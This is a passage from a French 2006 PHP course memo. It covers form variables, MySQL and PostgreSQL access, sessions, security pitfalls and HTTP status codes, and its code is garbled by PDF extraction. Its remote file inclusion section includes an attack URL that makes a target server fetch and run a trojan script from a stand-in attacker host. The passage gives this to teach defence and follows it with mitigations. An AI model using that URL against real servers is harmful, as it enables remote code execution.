Nota ce type d'usage des variables transmises par un formulaire ne fonctionne que si la variable
register_globals du fichier de configuration de PHP, php.ini est on (ce qui n'est plus le cas
pour des raisons de scurit).
Pour plus de rigueur et plus de scurit, il est donc prfrable d'aller rcuprer le contenu des
variables dans le tableau associatif $_GET.
$Logi n=$_GET[ ' Logi n' ]
$Passwor d=$_GET[ ' Passwor d' ] ;
Cela permet de s'assurer du fonctionnement quelque soit la configuration du serveur, et au
passage de prciser explicitement la source exacte des variables, Ici les donnes issues de la
mthode GET du protocole HTTP.
Les donnes pourraient aussi venir de la mthode POST ($_POST['']), de cookies ($_COOKIES['']),
de sessions ($_SESSION['']), ou bien encore avoir dj t utilises dans le script.
Et on peut maintenant utiliser ces donnes pour fabriquer une page HTML fonction du rsultat.
D.Brmont 05/2006 23/35
IUT R&T de Saint-Malo Mmo PHP/HTML
<?
i f ( ( $Logi n == " t ot o" ) && ( $Passwor d == " t at a" ) )
{
echo " Bonj our t ot o" ;
}
el se
{
echo " Dsol " ;
}
?>
Eextrait du fichier verification.php (il manque tout le code HTML)
Cela parat donc un jeu d'enfant !
Cependant il est crucial de s'assurer que les donnes saisies par l'utilisateur ne
risquent pas de compromettre le programme en contrlant les donnes saisies,
et en adoptant une programmation dfensive
C.6.2 PHP et MySQL
Comme nous l'avons vu en introduction PHP dispose de nombreuses fonctions permettant de
l'interfacer par exemple avec MySQL, base de donne libre.
Les fonctions PHP les plus couramment utilises pour accder une base MySQL sont les
suivantes :
mysql_connect() pour ouvrir une connexion avec le serveur de base de donne
mysql_select_db() pour changer la base active sur la connexion en cours
mysql_query() pour envoyer une requte SQL
mysql_close() pour fermer la connexion avec le serveur
Les rsultats peuvent ensuite tre exploits grce aux fonctions
mysql_num_rows() retourne le nombre de rsultats renvoy par la requte
mysql_fetch_array() pour transformer une ligne de rsultat en tableau indic
mysql_fetch_assoc() pour transformer une ligne de rsultat en tableau associatif
Plutt que de longs discours, voici un exemple qui devrait clarifier l'usage de ces fonctions.
Soit une Table MEMBRES dans la base MaBase ayant le modle suivant :
Nom Prenom
Bullock Sandra
Kornikova Anna
Elle a t cre avec les requtes SQL suivantes :
D.Brmont 05/2006 24/35
IUT R&T de Saint-Malo Mmo PHP/HTML
CREATE DATABASE `MaBase`;
CREATE TABLE `MEMBRES` (
`Nom` VARCHAR( 10 ) NOT NULL ,
`Pr enom` VARCHAR( 10 ) NOT NULL
) ;
Et les donnes ont t insres ainsi :
I NSERT I NTO `MEMBRES` ( `Nom` , `Pr enom` )
VALUES ( ' Bul l ock' , ' Sandr a' ) ;
I NSERT I NTO `MEMBRES` ( `Nom` , `Pr enom` )
VALUES ( ' Kor ni kova' , ' Anna' ) ;
Voici dsormais un petit script affichant toutes les occurrences de la table MEMBRES de la base
MaBase.
D.Brmont 05/2006 25/35
IUT R&T de Saint-Malo Mmo PHP/HTML
<?
/ / Def i ni t i on des const ant es
def i ne( ' SERVEUR' , " l ocal host " ) ;
def i ne( ' USERBDD' , " t at a" ) ;
def i ne( ' PASSWD' , " t at a" ) ;
def i ne( ' NOMBASE' , " MaBase" ) ;
/ / Connexi on a l a base de donnees
$connexi on=mysql _connect ( SERVEUR , USERBDD, PASSWD)
or di e ( " I mpossi bl e de se connect er " ) ;
mysql _sel ect _db ( NOMBASE)
or di e ( " I mpossi bl e d' acceder a l a base de donnees" ) ;
$quer y=" Sel ect Nom, Pr enomf r omMEMBRES" ;
$r esul t at = mysql _quer y ( $quer y)
or di e ( " La r equ\ xeat e a \ xe9chou\ xe9" ) ;
$nbr esul t at s=mysql _num_r ows( $r esul t at ) ;
echo " I l y a $nbr esul t at s r esul t at s<br >" ;
/ / On par cour t l es r sul t at s r envoys
/ / dans un t abl eau i ndex numr i quement
whi l e( $l i gne = mysql _f et ch_assoc( $r esul t at ) )
{
$Nom=$l i gne[ NOM] ;
$Pr enom=$l i gne[ PRENOM] ;
/ / On af f i che l es occur r ences !
echo " $Nom$Pr enom<br >" ;
}
/ / f er met ur e de l a connexi on
mysql _cl ose( $connexi on) ;
?>
Et voici donc le rsultat !
Il y a 2 resultats
Bullock Sandra
Kornikova Anna
C.6.3 PHP et PostgreSQL
PHP dispose galement en standard de librairies offrant la possibilit de l'interfacer avec des
bases de donnes PostgreSQL.
Les fonctions PHP les plus couramment utilises pour accder une base PostgreSQL sont les
suivantes :
pg_connect() pour ouvrir une connexion avec le serveur de base de donne et choisir une base
donne sur un hte.
pg_query() pour envoyer une requte SQL
D.Brmont 05/2006 26/35
IUT R&T de Saint-Malo Mmo PHP/HTML
pg_close() pour fermer la connexion avec le serveur.
Les rsultats peuvent ensuite tre exploits grce aux fonctions
pg_num_rows() retourne le nombre de rsultats renvoy par la requte
pg_fetch_row() pour transformer une ligne de rsultat en tableau indic
Voici un exemple du mme style que celui du chapitre sur PHP et MySQL mais cette fois-ci une
base de donne postgresSQL, le schma de la base n'a pas chang entre temps.
<?
/ / Df i ni t i on des const ant es
def i ne( ' SERVEUR' , " l ocal host " ) ;
def i ne( ' USERBDD' , " r oot " ) ;
def i ne( ' PASSWD' , " r oot " ) ;
def i ne( ' NOMBASE' , " MaBase" ) ;
def i ne( ' PORT' , " 5432" ) ;
$chai ne_connexi on=" host =" . SERVEUR. " por t =" . PORT. "
dbname=" . NOMBASE. " user =" . USERBDD. " passwor d=" . PASSWD;
/ / Connexi on a l a base de donnees
$connexi on = @pg_connect ( $chai ne_connexi on)
or di e ( " I mpossi bl e d' acceder a l a base de donnees" ) ;
$quer y=" Sel ect Nom, Pr enomf r omMEMBRES" ;
$r esul t at = pg_quer y ( $quer y)
or di e ( " La r equ\ xeat e a \ xe9chou\ xe9" ) ;
$nbr esul t at s=pg_num_r ows( $r esul t at ) ;
echo " I l y a $nbr esul t at s r esul t at s<br >" ;
/ / On r cupr e l es r sul t at s en l es pl aant dans un t abl e
i ndex
whi l e ( $l i gne = pg_f et ch_r ow( $r esul t at ) )
{
$Nom=$l i gne[ 0] ;
$Pr enom=$l i gne[ 1] ;
/ / On af f i che l es occur r ences !
echo " $Nom$Pr enom<br >" ;
}
/ / f er met ur e de l a connexi on
pg_cl ose( $connexi on) ;
Les rsultats restent les mmes :
Il y a 2 resultats
Bullock Sandra
D.Brmont 05/2006 27/35
IUT R&T de Saint-Malo Mmo PHP/HTML
Kornikova Anna
C.6.4 Gestion des sessions
La notion de session est essentielle pour toute application oriente web, elle permettent
d'tablir une continuit dans le dialogue client/serveur en gardant la trace de l'authentification
de l'utilisateur. En effet le protocole HTTP est un protocole sans tat, aucune information n'est
stocke entre deux connexions, ou demande de nouvelle page web.
La gestion des sessions en PHP s'appuie sur la notions de cookies dont voici une dfinition
succincte :
COOKIE : FICHIER CRIT SUR L'ORDINATEUR DE L'INTERNAUTE PAR LE SERVEUR WEB,
PERMETTANT DE SAUVEGARDER UN CONTEXTE DE CONNEXION. CE CONTEXTE EST COMPOS D'UNE
SRIE DE VARIABLES STOCKES DIRECTEMENT DANS LE NAVIGATEUR WEB DU CLIENT AFIN DE
PALIER AU CARACTRE SANS TAT DU PROTOCOLE HTTP.
Et voici dsormais comment se ralise la gestion des sessions :
A la premire connexion le serveur associe un identifiant de session un internaute
Le serveur transmet cet identifiant au client sous la forme d'un cookie
Grce l'identifiant de session le serveur est en mesure de stocker des informations sur le client
A chaque nouvelle connexion HTTP ( chaque nouvelle page demande) le client transmet son
identifiant de session, permettant de suivre les actions du client, de garder trace de sa
connexion et de stocker certaines variables associs au client.
Voil pour rsumer un petit schma qui permettra de mieux comprendre :
Les solutions pour mettre en oeuvre viennent des fonctions suivantes :
session_start() identifie ou cre la session si existe dj, recre toutes les variables Php
associes doit tre appel au dbut du script Php
D.Brmont 05/2006 28/35
Serveur
1) Premire connexion
Cration
d'une session
Infos.
session
id=100
2) Envoi ducookie
3) Envoi id session
id=100
On sait de
qui il s'agit
4 ) Page personnalise
Client
Validit
Cookie

IUT R&T de Saint-Malo Mmo PHP/HTML


session_destroy() dtruit les informations associes la session
session_id() renvoie lidentifiant de la session
session_register(nomVariable) associe une variable Php la session. Cette information sera
stocke et pourra tre retrouve chaque session
session_unregister(nomVar) supprime une variable de la session
session_is_registered(nomVar) test lexistence dune variable
Pour finir de clarifier les choses voil dsormais un exemple, dans le premier ficher, ci-dessous :
Lors de la premire visite on dmarre une session dans laquelle on stocke l'heure de connexion
et l'adresse IP.
<?
$der ni er eVi si t e=dat e( ' h: i : s' ) ;
sessi on_st ar t ( $PHPSESSI D) ;
$_SESSI ON[ ' I P' ] =$REMOTE_ADDR;
$_SESSI ON[ ' HEURE' ] =$der ni er eVi si t e;
echo " <a hr ef =\ " t est cooki e. php\ " >Sui t e</ a>" ;
?>
Ensuite quand le client ira sur la page suivante, reprsente par le fichier suivant, il sera
reconnu grce son identifiant de session et on pourra retrouver l'heure de sa connexion, et
l'adresse IP depuis laquelle il s'est connect, ces informations ayant t stockes sur le serveur
hbergeant le site web.
<?
sessi on_st ar t ( ) ;
i f ( ( i sSet ( $_SESSI ON[ ' I P' ] ) ) && ( i sSet ( $_SESSI ON[ ' HEURE' ] ) ) )
{
$Adr esseI P=$_SESSI ON[ ' I P' ] ;
$Heur e=$_SESSI ON[ ' HEURE' ] ;
echo " Ha ha ! Vous avez vi si t e cet t e page<br >" ;
echo " $Heur e depui s $Adr esseI P " ;
}
el se
{
echo " Pr emi er e vi si t e" ;
}
?>
Fichier testcookie.php
Le rsultat est alors le suivant :
Ha ha ! Vous avez visite cette page
le 11:50:16 depuis 82.232.XXX.XXX
Dans notre exemple nous pouvons visualiser les cookies (par exemple sous Mozilla Firefox, en
allant dans le menu Outils -->Options -->Vie prive -->Cookies -->Afficher les cookies)
On y voit que le navigateur stocke un identifiant de session PHPSESSID permettant de retrouver
les informations concernant le client sur le serveur.
D.Brmont 05/2006 29/35
IUT R&T de Saint-Malo Mmo PHP/HTML
Nota sous environnement Linux, en standard, les variables de sessions des clients sont stockes
dans des fichiers texte dans le dossier /tmp.
D PHP et la scurit
D.1 Anciens fichiers et fichiers *.inc
Il arrive frquemment que lors du dveloppement, ou de l'amlioration d'une application, on
renomme les anciennes versions de scripts. Par exemple, le fichier tata.php serait copi en
tata.old pour garder une sauvegarde de l'ancienne version du script afin de pouvoir revenir
celle-ci sans problme.
Imaginez maintenant que le serveur soit en production et que les fichiers *.old soient toujours
prsents.
Comme nous l'avions vu au dbut de ce document, seuls les fichiers *.php sont interprts
comme des scripts PHP. Cela veut donc dire que les fichiers *.old seront envoys aux navigateurs
web sans interprtation qui se contenteront d'afficher le code source en PHP. Cela permettra
alors des personnes mal attentionnes de chercher les failles de scurit en analysant les
sources.
Mieux encore imaginez qu'au dbut de vos scripts, vous avez ralis l'inclusion du fichier
pasword.inc , et que ce fichier contient par exemple :
<?php
$host = ' exampl e. or g' ;
$user name = ' myuser ' ;
$passwor d = ' mypass' ;
$db = mysql _connect ( $host , $user name, $passwor d) ;
?>
Cela est trs commode, cela permet de charger la configuration de votre application et de vous
D.Brmont 05/2006 30/35
IUT R&T de Saint-Malo Mmo PHP/HTML
connecter votre base de donne.
Cependant, les fichiers *.inc sont en standard interprts par un serveur web comme de simples
fichiers texte. Si le fichier se situe dans l'arborescence de votre site web,il devient alors ais de
l'appeler l'aide d'une URL valide et ainsi de voir son contenu.
Comme parade, il est possible de placer le fichier en dehors de l'arborescence du site web (les
fonctions include et require acceptant des chemins relatifs sur le serveur) , ou bien encore
d'ajouter ceci votre configuration d'Apache qui a pour effet d'empcher la visualisation de
fichier avec l'extension *.inc.
<Fi l es ~ " \ . i nc$" >
Or der al l ow, deny
Deny f r omal l
</ Fi l es>
D.2 L'inclusion de fichiers
Le problme se pose lorsque lappel a la fonction include() se fait au moyen d'une variable
comme dans lexemple ci-dessous :
scr i pt _ci bl e. php
< ?
I ncl ude ( $var i abl e. scr i pt _exempl e. php ) ;
?>
Si la valeur de la variable "$variable" na pas t dfinie dans le script, il est possible de lui
donner une valeur lors de lappel au script avec une URL du type :
http://target/application/script_cible.php?variable=http://pirate/trojan?cmd=id
Dans cet exemple:
Lors de lappel au script cible, la valeur de la variable devient http://pirate/trojan?cmd=id et
linclusion du fichier entrane que le script distant "trojan" est excut avec le paramtre cmd
ayant pour valeur id.
Cette mthode permet a un pirate de faire excuter un fichier hberge sur un serveur web
distant par le serveur cible. Si les interprteurs de commandes du serveur sont compatible avec
les outils utilises par l'intrus, il peut obtenir l'accs a un interprteur de commandes sur le
serveur avec les droits du serveur web (par exemple, les droits de Apache).
Grce a cet accs, il peut tlcharger les fichiers ncessaires pour installer une porte drobe
ou nimporte quel autre type doutil intressant pour le pirate (modification de site web, relai
de spam, installation d'un serveur irc, lvation des privilges, exploitation d'ventuelle
vulnrabilit locale, vol de mot de passe)
D.2.1 Mesures de protection et de Contournement
Mesures au niveau du serveur
La premire mesure de contournement est de sassurer que la directive register_globals soit
dsactive, ce qui est le cas par dfaut depuis la version 4.2.0 de PHP d'avril 2002.
D.Brmont 05/2006 31/35
IUT R&T de Saint-Malo Mmo PHP/HTML
Une autre mesure peut tre dinterdire lutilisation des URL dans les scripts via la dsactivation
de la directive allow_url_fopen, toutefois, cette mesure peut introduire des dysfonctionnements
auxquels il est possible de remdier en ajoutant en dur les adresses fixes ncessitant une
inclusion d'url.
Mesures au niveau des applications
La situation est diffrentes selon sil sagit dapplication maison ou dapplication open
source dveloppe a l'extrieur.
Dans le cas des applications extrieures, la recommandation demeure la mme. Mettre a jour et
appliquer rgulirement les correctifs de scurit. Mme sils ne corrigeront jamais tous les
problmes, ils permettent den rduire lampleur.
Pour les applications dveloppes en interne, la recommandation est de vrifier les cas demploi
de la fonction include et, lorsquelle est employe avec une variable, vrifier que cette variable
est initialise lors de l'excution du script, et ce, mme en cas dappel direct du script.
Une manire simple de tester la vulnrabilit dun script suspect lorsque celui-ci est dploye
sur un serveur peut-tre de tester le fonctionnement de la redirection. Sil est possible de
rdiriger vers un serveur extrieur via le script, alors celui-ci est vulnrable et peut tre
exploit.
Exemple de test de redirection:
http://mon_server/script_suspect.php?variable_suspecte=http://serveur_externe/page
Si la page du serveur externe saffiche, alors vous tes vulnrable.
Enfin n'oubliez pas que le protocole HTTP fait transiter toutes les informations
en clair. L'usage de HTTP + SSL sera donc privilgier pour amliorer la
scurit particulirement lors des phases d'authentification.
D.Brmont 05/2006 32/35
IUT R&T de Saint-Malo Mmo PHP/HTML
E Codes HTTP
Information
100 : Continue : Attente de la suite de la requte
101 : Switching Protocols : Acceptation du changement de protocole
Succs
200 : OK : Requte traite avec succs
201 : Created : Requte traite avec succs avec cration d'un document
202 : Accepted : Requte traite mais sans garantie de rsultat
203 : Non-Authoritative Information : Information retourne mais gnre par une source non
certifie
204 : No Content : Requte traite avec succs mais pas d'information renvoyer
205 : Reset Content : Requte traite avec succs, la page courante peut tre efface
206 : Partial Content : Une partie seulement de la requte a t transmise
Redirection
300 : Multiple Choices : L'URI demande se rapporte plusieurs ressources
301 : Moved Permanently : Document dplac de faon permanente
302 : Moved Temporarily : Document dplac de faon temporaire
303 : See Other : La rponse cette requte est ailleurs
304 : Not Modified : Document non-modifi depuis la dernire requte
305 : Use Proxy : La requte doit tre r-adresse au proxy
307 : Temporary Redirect : La requte doit tre redirige temporairement vers l'URI spcifie
Erreurs client
00 : Bad Request : La syntaxe de la requte est errone
401 : Unauthorized : Accs la ressource refus
402 : Payment Required : Paiement requis pour accder la ressource (non utilis)
403 : Forbidden : Refus de traitement de la requte
404 : Not Found : Document non trouv
405 : Method Not Allowed : Mthode de requte non autorise
406 : Not Acceptable : Toutes les rponses possibles seront refuses
407 : Proxy Authentication Required : Accs la ressource autoris par identification avec le
proxy
408 : Request Time-out : Temps d'attente d'une rponse du serveur coul
409 : Conflict : La requte ne peut tre traite l'tat actuel
410 : Gone : La ressource est indisponible et aucune adresse de redirection n'est connue
411 : Length Required : La longueur de la requte n'a pas t prcis
412 : Precondition Failed : Prconditions envoyes par la requte non-vrifies
413 : Request Entity Too Large : Traitement abandonn d une requte trop importante
414 : Request-URI Too Long : URI trop longue
415 : Unsupported Media Type : Format de requte non-supporte pour une mthode et une
ressource donnes
416 : Requested range unsatifiable : Champs d'en-tte de requte 'range' incorrect.
417 : Expectation failed : Comportement attendu et dfini dans l'en-tte de la requte
insatisfaisable
Erreur du serveur
500 : Internal Server Error : Erreur interne du serveur
D.Brmont 05/2006 33/35
IUT R&T de Saint-Malo Mmo PHP/HTML
501 : Not Implemented : Fonctionnalit rclame non supporte par le serveur
502 : Bad Gateway : Mauvaise rponse envoye un serveur intermdiaire par un autre serveur.
503 : Service Unavailable : Service non disponible
504 : Gateway Time-out : Temps d'attente d'une rponse d'un serveur un serveur intermdiaire
coul
505 : HTTP Version not supported : Version HTTP non gre par le serveur
D.Brmont 05/2006 34/35
IUT R&T de Saint-Malo Mmo PHP/HTML
Bibliographie et Webographie
Les sites officiels
www.w3.org
www.php.net
www.manuelphp.com
Pratique de MySQL et PHP
Philippe Rigaux
3
e
dition, 27 janvier 2005
ISBN : 2-84177-338-8
Le langage PHP
Olivier GLCK
UniversitLYON 1/UFR dInformatique
www710.univ-lyon1.fr/~ogluck
Comment a marche ?
www.commentcamarche.net
PHP Security Guide traduit par Christophe Chisogne
http://phpsec.org/projects/guide/fr/.
Guide de scurit du PHP Security consortium
http://phpsec.org/projects/guide/fr
Scurisation des scripts PHP
http://www.phpsecure.info
D.Brmont 05/2006 35/35